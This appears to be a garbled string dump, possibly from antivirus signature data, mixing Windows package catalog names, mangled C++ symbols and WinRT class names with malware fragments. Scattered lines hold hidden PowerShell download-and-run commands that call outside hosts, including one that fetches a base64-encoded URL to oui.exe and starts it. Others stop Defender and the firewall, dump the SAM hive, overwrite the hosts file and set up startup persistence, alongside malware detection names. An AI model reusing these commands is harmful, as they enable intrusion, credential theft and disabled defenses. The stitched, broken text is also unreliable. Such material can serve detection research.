Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-ProjFS-OptionalFeature-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Runlevel-Win4-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|4e35~amd64~~10.0.26100.7840.cat|cat|
?isOverride@QWindowStateChangeEvent@@QEBA_NXZ
?isTouchDeviceRegistered@QWindowSystemInterface@@SA_NPEBVQTouchDevice@@@Z
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
hklm\software\microsoft\windows defender\exclusions\ipaddresses\\
hklm\software\policies\microsoft\windows defender\exclusions\ipaddresses\\
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
WindowsCreateStringReference
WindowsCreateString
WindowsDeleteString
WindowsDuplicateString
list"-windowstylehidden-execu
)+"\appdata\roaming\microsoft\windows\startmenu\programs\startup\"
 Windows 
= "powe" + "rshell -windowstyle hidden $= new-o" + "bject system.net.webclient;$= new-o" + "bject random;$str = '= $str.split(',');$name = $
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.30
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.36
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.34
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.20
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.38
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.26
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.6
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.27
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.19
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.12
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.18
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.10
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.17
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.7
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.37
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.32
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.21
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!PackageMetadata
windows.hlp`
updateWindowsAccountTypea
_windowsAccountType
stop"windowsdefenderservice"netstop"windowsfirewall
software\microsoft\windows\currentversion\uninstall
command="c:\windows\system32\cmd.exe".encode('hex')
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-CoreSystem-XmlLite-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Management-SecureAssessment-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Management-SecureAssessment-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Embedded-UnifiedWriteFilter-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-User Device RegistrationB
Microsoft-Windows-WER-SystemErrorReporting
(@Microsoft-Windows-WER-SystemErrorReportingQ
owindows-1252
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
!#SCPT:AutoItMacro_WindowsDir
@windowsdir
=\syswow64\windowspow"
rMpowershell-noexit-windowstylehidden-command""iex(new-objectnet.webclient)
Rset"startupfolder=%appdata%\microsoft\windows\startmenu\programs\startup
windowstate='e
e8^com.microsoft.windows.ey
J	DWindows.Data.Platform.Partitioning.DeviceExperiencePartitionMetadata&
&.NET Docking Library for Windows Forms
:System.Windows.Forms.Design.ControlDesigner, System.Design
ComSpec=C:\WINDOWS\system32\cmd.exe
MonitoringTool:Win32/WindowsKeylogger.A
MonitoringTool:Win32/WindowsKeylogger.B
Windows
reatethread|c:\windows\syswow64\iexpress.exec
SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes
qwindows.dll
%systemroot%\system32\svchost.exe -k netsvcs
c:\windows\system32\
>@tLsystem32\drivers\etc\hests",OverwriteExistingsystem32\drivers\etc\hosts"" /Y && attrib +H
c:\program files\system32\
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
Trojan.Folderfu!sd5 is a malicious program that does not infect other files but may represents securityWorm.Small!sd5 is a network-aware worm that attempts to replicate across the existing network.Windows Security Center reports that %s is not registeredactDeleteVirusExecute%acIESniffer1WBFileDownloadC:\TEMP\Upgrader3.exehttp://www.avpro-labs.com/buy.html
0Windows.CBSPreview_10.0.19580.1000_neutral
Acrosoft.Windows.CapturePicker_10.0.19580.1000_neutral__cw5n1h2txyewyF
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
.?AV<lambda_278_>@?0???$?0VXamlApp@Xaml@View@TaskManager@@P80123@EAAXAEBUIInspectable@Foundation@Windows@winrt@@UFilterInfo@TaskManagerApp@7@@Z@?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@UFilterInfo@TaskManagerApp@4@@Foundation@Windows@winrt@@QEAA@PEAVXamlApp@Xaml@View@TaskManager@@P85678@EAAXAEBUIInspectable@234@UFilterInfo@TaskManagerApp@4@@Z@Z@
.?AU?$delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@UCommandInfo@TaskManagerApp@4@@Foundation@Windows@winrt@@V<lambda_277_>@?0???$?0VXamlApp@Xaml@View@TaskManager@@P80123@EAAXAEBUIInspectable@Foundation@Windows@winrt@@UCommandInfo@TaskManagerApp@7@@Z@1234@QEAA@PEAVXamlApp@Xaml@View@TaskManager@@P86789@EAAXAEBUIInspectable@234@UCommandInfo@TaskManagerApp@4@@Z@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@W4NavigationButtonId@TaskManagerApp@4@@Foundation@Windows@winrt@@V<lambda_276_>@?0???$?0VXamlApp@Xaml@View@TaskManager@@P80123@EAAXAEBUIInspectable@Foundation@Windows@winrt@@W4NavigationButtonId@TaskManagerApp@7@@Z@1234@QEAA@PEAVXamlApp@Xaml@View@TaskManager@@P86789@EAAXAEBUIInspectable@234@W4NavigationButtonId@TaskManagerApp@4@@Z@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@UCommandInfo@TaskManagerApp@4@@Foundation@Windows@winrt@@V<lambda_277_>@?0???$?0VXamlApp@Xaml@View@TaskManager@@P80123@EAAXAEBUIInspectable@Foundation@Windows@winrt@@UCommandInfo@TaskManagerApp@7@@Z@1234@QEAA@PEAVXamlApp@Xaml@View@TaskManager@@P86789@EAAXAEBUIInspectable@234@UCommandInfo@TaskManagerApp@4@@Z@Z@@impl@winrt@@
.?AV<lambda_277_>@?0???$?0VXamlApp@Xaml@View@TaskManager@@P80123@EAAXAEBUIInspectable@Foundation@Windows@winrt@@UCommandInfo@TaskManagerApp@7@@Z@?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@UCommandInfo@TaskManagerApp@4@@Foundation@Windows@winrt@@QEAA@PEAVXamlApp@Xaml@View@TaskManager@@P85678@EAAXAEBUIInspectable@234@UCommandInfo@TaskManagerApp@4@@Z@Z@
.?AUtype@?$abi@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@W4NavigationButtonId@TaskManagerApp@4@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@W4NavigationViewDisplayMode@Controls@Xaml@UI@Microsoft@4@@Foundation@Windows@winrt@@V<lambda_275_>@?0???$?0VXamlApp@Xaml@View@TaskManager@@P80123@EAAXAEBUIInspectable@Foundation@Windows@winrt@@W4NavigationViewDisplayMode@Controls@1UI@Microsoft@7@@Z@1234@QEAA@PEAVXamlApp@Xaml@View@TaskManager@@P86789@EAAXAEBUIInspectable@234@W4NavigationViewDisplayMode@Controls@7UI@Microsoft@4@@Z@Z@@impl@winrt@@
.?AV<lambda_276_>@?0???$?0VXamlApp@Xaml@View@TaskManager@@P80123@EAAXAEBUIInspectable@Foundation@Windows@winrt@@W4NavigationButtonId@TaskManagerApp@7@@Z@?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@W4NavigationButtonId@TaskManagerApp@4@@Foundation@Windows@winrt@@QEAA@PEAVXamlApp@Xaml@View@TaskManager@@P85678@EAAXAEBUIInspectable@234@W4NavigationButtonId@TaskManagerApp@4@@Z@Z@
.?AU?$delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@W4NavigationButtonId@TaskManagerApp@4@@Foundation@Windows@winrt@@V<lambda_276_>@?0???$?0VXamlApp@Xaml@View@TaskManager@@P80123@EAAXAEBUIInspectable@Foundation@Windows@winrt@@W4NavigationButtonId@TaskManagerApp@7@@Z@1234@QEAA@PEAVXamlApp@Xaml@View@TaskManager@@P86789@EAAXAEBUIInspectable@234@W4NavigationButtonId@TaskManagerApp@4@@Z@Z@@impl@winrt@@
.?AUtype@?$abi@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@W4NavigationViewDisplayMode@Controls@Xaml@UI@Microsoft@4@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@W4PageId@TaskManagerApp@4@@Foundation@Windows@winrt@@V<lambda_274_>@?0???$?0VXamlApp@Xaml@View@TaskManager@@P80123@EAAXAEBUIInspectable@F
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
Windows::Internal::Security::Authentication::Aad::AadWamExtensionWorker::ProcessDeviceAuthRequest_Stop
Windows::Internal::Security::Authentication::Aad::AadWamExtensionWorker::ProcessDeviceAuthRequest_Start
powershell-windowstylehiddeninvoke-webrequest-urihttps://g-t-a-all.ru/min/winrar/devushkav2.jpg-outfile%temp%\devushkav2.jpg
open failinstall ok -> %dproc failread config failread config okopen flash failopen flash okid %dflash.datc:\windows\system32\defragsvc.dllc:\windows\system32\wbem\wmisvc.dllc:\windows\system32\sdrsvc.dllTrojan:Win64/Pinchloader.A!dha
!#Lua:FileInsideBrowserExtensionOnWindows
Lua:Context/FileInsideChromeExtensionOnWindows
Lua:Context/FileInsideEdgeExtensionOnWindows
GetSystemWindowsDirectoryW
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package041420~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-PhotoBasic-PictureTools-Package~31bf3856ad364e35~amd64~~10.0.26100.5074.cat|!
UserExperience-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|nt-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|Microsoft-Windows-CoreSystem-BootableSKU-Drivers-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-CoreSystem-BootableSKU-Drivers-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.5074.cat|!
Microsoft-Windows-Embedded-UnifiedWriteFilter-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|!
Microsoft-Windows-PhotoBasic-PictureTools-Package~31bf3856ad364e35~amd64~~10.0.26100.5074.cat|!
&tytul=Tibissa.com&tresc=Nazwa%20konta:DockSiteSoftware\Microsoft\Windows\CurrentVersion\Policies\System.gif%3E <br> ..
art \WINDOWS\s
DlpIsSetWindowsHooksUsed
DriverData=C:\Windows\System32\
Microsoft.Windows.Defender
Microsoft.Windows.Defender
Microsoft.Windows.DefenderCore1DS
Microsoft.Windows.DefenderCorePrivate
Microsoft.Windows.TlgAggregateInternal
Windows::Internal::InstallService::Control::ShouldStubificationCheckRun
Windows::Internal::InstallService::Control::LoadOffloadingOneSettings
Windows::Internal::InstallService::Control::ShouldPackageBeMarkedForStubification
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-OneCore-Biometrics-Fingerprint-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-CoreSystem-UMDF-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-DirectoryServices-ADAM-Tools-Group-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-LanguageFeatures-Basic-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Multimedia-RestrictedCodecs-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-Platformrecords-PlutonFirmware-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
windows
Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::StartAppInstallAsync
Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::IsStoreBlockedByPolicyAsync::<lambda_e1efc81a3766ac6dfd232ffe3a49452e>::operator ()
Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::IsStoreBlockedByPolicyAsync
::WindowsDuplicateString(storeClientPublisher, &storeClientPublisherCopy)
::WindowsDuplicateString(storeClientName, &storeClientNameCopy)
Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::_GetIsApplicableForUserAsync::<lambda_058204bca80bd1dc368a6783ba2b7036>::operator ()
C:\WINDOWS\SYSTEM32
T:\WindowsUpdate.
arp-a^>c:\windows\x90
 \arp.txt>>c:\windows\
startc:\windows\system32\drivers\robloj.exe
17036IYIA.QRCodeforWindows10_dggz0n4pnn0gel	`f
\Microsoft\Windows\PowerShell\
\Microsoft\Windows\Explorer\
\Microsoft\Windows\Shell\
system32
.?AU?$delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_527c0a8e814e7f0cf9b6ac1e0fe102d0>@@@impl@winrt@@
.?AU?$implements_delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_527c0a8e814e7f0cf9b6ac1e0fe102d0>@@@impl@winrt@@
.?AUtype@?$abi@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$delegate@UKeyEventHandler@Input@Xaml@UI@Windows@winrt@@V<lambda_bc527cc84f4b0f4236b156ca4a31166f>@@@impl@winrt@@
.?AU?$implements_delegate@UKeyEventHandler@Input@Xaml@UI@Windows@winrt@@V<lambda_bc527cc84f4b0f4236b156ca4a31166f>@@@impl@winrt@@
.?AUtype@?$abi@UKeyEventHandler@Input@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AU?$delegate@UDependencyPropertyChangedCallback@Xaml@UI@Windows@winrt@@V<lambda_47bb48fa0b04ac62c95b3c5a621bb12a>@@@impl@winrt@@
.?AU?$implements_delegate@UDependencyPropertyChangedCallback@Xaml@UI@Windows@winrt@@V<lambda_47bb48fa0b04ac62c95b3c5a621bb12a>@@@impl@winrt@@
.?AUtype@?$abi@UDependencyPropertyChangedCallback@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AUtype@?$abi@U?$IVectorView@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AUtype@?$abi@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
c:\windows\system32\windowspowershell\v1.0\powershell.exe-noprofile-noninteractive-executionpolicybypass-windowstylehidden-command"iwr\"aab0ahqacabzadoalwavahcadwb3ac4azabvahaazqatahkabwb1ac4aywbvag0alwbpahqayqb1ageacabsagkaywbhahqaaqb2ag8algblahgazqbcaa=="-outfile\"%temp%\oui.exe\"";start-process"$env:temp\oui.exe"
\SystemRoot\system32\drivers\wd\WdFilter.sys
Microsoft WindowsN
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsDeleteString
WindowsCreateStringReference
WindowsCreateString
WindowsDuplicateString
WindowsCompareStringOrdinal
windows.appService
c]MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DesktopSpotlight
o-windowstylehidden-executionpolicybypass-command
5newactivexobject("windowsinst\aller.installer")
9#cmd/cregsavehklm\samc:\windows\
0>c:\windows\
VCOMPONENT_INSTALLER_DIR=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
displayname-replace'windowsdefender','')
windows diagA
windows device manager;
 @Microsoft-Windows-User Device Registration
SystemWindowsForms
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
.?AV<lambda_0>@?0??destroy@WindowSurfaceVk@rx@@UEAAXPEBVDisplay@egl@@@Z@
Microsoft.Windows.COM.MetadataBasedMarshaler
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft.Windows.ComOleAut32
Options to group similar windows on taskbarM
WAAA_SystemSettings_DefaultPrinterManagedByWindows
Let Windows manage my default printerZ
aAAA_SystemSettings_Cortana_WindowsSearch_FindMyFiles*
QAAA_SystemSettings_Cortana_WindowsSearch_AddExclusion'
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
=/system32\cmd.exe
C.core.windows.net
RetailDemo.Internal.WindowsHelloHelper
Windows.AI.MachineLearning.ImageFeatureValue
Windows.AI.MachineLearning.LearningModel
Windows.AI.MachineLearning.LearningModelBinding
Windows.AI.MachineLearning.LearningModelDevice
Windows.AI.MachineLearning.LearningModelSession
Windows.AI.MachineLearning.LearningModelSessionOptions
Windows.AI.MachineLearning.Preview.LearningModelBindingPreview
Windows.AI.MachineLearning.Preview.LearningModelPreview
Windows.AI.MachineLearning.TensorBoolean
Windows.AI.MachineLearning.TensorDouble
Windows.AI.MachineLearning.TensorFloat
Windows.AI.MachineLearning.TensorFloat16Bit
Windows.ApplicationModel.Activation.CommandLineActivatedEventArgs
Windows.ApplicationModel.Activation.ComponentActivationPrivate
Windows.ApplicationModel.Activation.LaunchActivatedEventArgs
Windows.ApplicationModel.Activation.PhoneCallActivatedEventArgs
Windows.ApplicationModel.Activation.Private.ApplicationActivation
Windows.ApplicationModel.Activation.Private.ApplicationActivationProperties
Windows.ApplicationModel.Activation.Private.ApplicationActivationWatcher
Windows.ApplicationModel.Activation.Private.ApplicationActivationWatcherInProc
Windows.ApplicationModel.Activation.ProtocolActivatedEventArgs
Windows.ApplicationModel.Activation.SearchActivatedEventArgs
Windows.ApplicationModel.Activation.ToastNotificationActivatedEventArgs
Windows.ApplicationModel.Activation.VoiceCommandActivatedEventArgs
Windows.ApplicationModel.Activation.WalletActionActivatedEventArgs
Windows.ApplicationModel.AppDisplayInfo
Windows.ApplicationModel.AppExtensions.AppExtensionCatalog
Windows.ApplicationModel.AppInfo
Windows.ApplicationModel.AppInstallerInfo
Windows.ApplicationModel.AppInstance
Windows.ApplicationModel.Appointments.Appointment
Microsoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Windows.ApplicationModel.Background.ActivitySensorTrigger
Windows.ApplicationModel.Background.AlarmApplicationManager
Windows.ApplicationModel.Background.AlarmTrigger
Windows.ApplicationModel.Background.AppBroadcastTrigger
Windows.ApplicationModel.Background.ApplicationTrigger
Windows.ApplicationModel.Background.AppointmentStoreNotificationTrigger
Windows.ApplicationModel.Background.BackgroundExecutionManager
Windows.ApplicationModel.Background.BackgroundTaskBuilder
Windows.ApplicationModel.Background.BackgroundTaskInstance
Windows.ApplicationModel.Background.BackgroundTaskRegistration
Windows.ApplicationModel.Background.BackgroundTaskRegistrationGroup
Windows.ApplicationModel.Background.BackgroundWorkCost
Windows.ApplicationModel.Background.BackgroundWorkManager
Windows.ApplicationModel.Background.BluetoothLEAdvertisementPublisherTrigger
Windows.ApplicationModel.Background.BluetoothLEAdvertisementWatcherTrigger
Windows.ApplicationModel.Background.CachedFileUpdaterTrigger
Windows.ApplicationModel.Background.ChatMessageNotificationTrigger
Windows.ApplicationModel.Background.ChatMessageReceivedNotificationTrigger
Windows.ApplicationModel.Background.CommunicationBlockingAppSetAsActiveTrigger
Windows.ApplicationModel.Background.ContactStoreNotificationTrigger
Windows.ApplicationModel.Background.StorageLibraryContentChangedTrigger
Windows.ApplicationModel.Background.SystemCondition
Windows.ApplicationModel.Background.SystemTrigger
Windows.ApplicationModel.Background.TetheringEntitlementCheckTrigger
